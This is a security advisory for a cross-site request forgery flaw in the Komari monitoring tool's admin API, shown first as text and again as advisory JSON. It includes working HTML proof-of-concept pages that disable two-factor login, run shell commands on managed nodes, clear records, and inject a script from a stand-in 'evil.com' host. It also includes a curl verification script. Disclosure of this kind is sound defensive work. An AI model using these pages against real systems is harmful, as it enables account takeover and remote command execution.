GHSA-HXJG-93WC-H8P8
Vulnerability from github – Published: 2026-09-09 23:48 – Updated: 2026-09-09 23:48Vulnerability Overview
The session_token cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
Root Cause
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
// Secure=false, SameSite not explicitly set
// Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
Browser Limitations
- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to
SameSite=Lax. - Cookies without an explicit
SameSiteattribute are not included in cross-site POST requests. - As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
| Scenario | Exploitable |
|---|---|
| Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax |
| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |
| Same-origin context (Browser Console / existing XSS) | ✓ |
Man-in-the-middle over HTTP (Secure=false) |
✓ |
High-Impact Operations Reachable via CSRF
| Endpoint | Method | Impact |
|---|---|---|
/api/admin/task/exec |
POST | Execute arbitrary shell commands on managed nodes |
/api/admin/2fa/disable |
POST | Disable administrator two-factor authentication |
/api/admin/settings/ |
POST | Modify system configuration |
/api/admin/upload/backup |
POST | Upload a malicious backup |
/api/admin/record/clear/all |
POST | Delete all monitoring records |
/api/admin/client/:uuid/edit |
POST | Modify client configuration |
/api/admin/client/:uuid/remove |
POST | Remove managed clients |
/api/admin/session/remove/all |
POST | Invalidate all active sessions |
/api/admin/settings/cloudflared/start |
POST | Start a Cloudflared tunnel |
PoC 1 — Disable 2FA
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
PoC 2 — Remote Command Execution
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
PoC 3 — Modify System Configuration
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
PoC 4 — Clear All Monitoring Records
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
Verification Script
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/komari-monitor/komari"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260609084633-98122fa4d110"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:48:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Vulnerability Overview\n\nThe `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).\n\nAll `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.\n\n**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**\n\n## Root Cause\n\n```go\n// komari-main/api/public/login.go:68\nc.SetCookie(\"session_token\", session, 2592000, \"/\", \"\", false, true)\n// Secure=false, SameSite not explicitly set\n// Admin route group (server.go:213-343) has no CSRF middleware\n```\n\nGin\u0027s `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.\n\n## Browser Limitations\n\n- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.\n- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.\n- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.\n\n| Scenario | Exploitable |\n|----------|-------------|\n| Cross-site HTML (modern browsers) | \u2717 Blocked by `SameSite=Lax` |\n| Cross-site HTML (Chrome \u003c80 / legacy browsers) | \u2713 |\n| Same-origin context (Browser Console / existing XSS) | \u2713 |\n| Man-in-the-middle over HTTP (`Secure=false`) | \u2713 |\n\n## High-Impact Operations Reachable via CSRF\n\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |\n| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |\n| `/api/admin/settings/` | POST | Modify system configuration |\n| `/api/admin/upload/backup` | POST | Upload a malicious backup |\n| `/api/admin/record/clear/all` | POST | Delete all monitoring records |\n| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |\n| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |\n| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |\n| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |\n\n## PoC 1 \u2014 Disable 2FA\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n action=\"https://komari.example.com/api/admin/2fa/disable\"\n target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\n document.getElementById(\u0027f\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 2 \u2014 Remote Command Execution\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nvar CMD = \"id \u0026\u0026 hostname \u0026\u0026 whoami\";\n\nfetch(KOMARI + \"/api/admin/client/list\", { credentials: \"include\" })\n .then(function(r){ return r.json(); })\n .then(function(data){\n var nodes = data.data || [];\n var uuids = [];\n for (var i = 0; i \u003c nodes.length; i++) {\n if (nodes[i].uuid) uuids.push(nodes[i].uuid);\n }\n if (uuids.length === 0) return;\n return fetch(KOMARI + \"/api/admin/task/exec\", {\n method: \"POST\",\n credentials: \"include\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ command: CMD, clients: uuids })\n });\n });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 3 \u2014 Modify System Configuration\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nfetch(KOMARI + \"/api/admin/settings/\", {\n method: \"POST\",\n credentials: \"include\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n \"site_name\": \"Pwned\",\n \"custom_head\": \"\u003cscript src=\u0027https://evil.com/hook.js\u0027\u003e\u003c\\/script\u003e\"\n })\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 4 \u2014 Clear All Monitoring Records\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n action=\"https://komari.example.com/api/admin/record/clear/all\"\n target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\ndocument.getElementById(\u0027f\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## Verification Script\n\n```bash\n#!/bin/bash\nKOMARI=\"${1:-https://komari.example.com}\"\n\necho \"=== CSRF Verification ===\"\n\necho \"[1] Cookie Attributes...\"\ncurl -s -D - -o /dev/null \\\n -X POST \"$KOMARI/api/public/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"test\",\"password\":\"test\"}\u0027 | grep -i \u0027set-cookie\u0027\n\necho \"\"\necho \"[2] CORS Headers...\"\ncurl -s -D - -o /dev/null \\\n -H \"Origin: https://evil.com\" \\\n \"$KOMARI/api/public/config\" | grep -i \u0027access-control\u0027\n\necho \"\"\necho \"[3] CSRF Protection on Admin Endpoint...\"\nCODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST \"$KOMARI/api/admin/settings/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: https://evil.com\" \\\n -d \u0027{}\u0027)\n\necho \" HTTP ${CODE} \u2014 A 401 response indicates that only session authentication is enforced and no CSRF protection is present.\"\n```",
"id": "GHSA-hxjg-93wc-h8p8",
"modified": "2026-09-09T23:48:31Z",
"published": "2026-09-09T23:48:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8"
},
{
"type": "PACKAGE",
"url": "https://github.com/komari-monitor/komari"
},
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/releases/tag/1.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Komari: Management Interface CSRF"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
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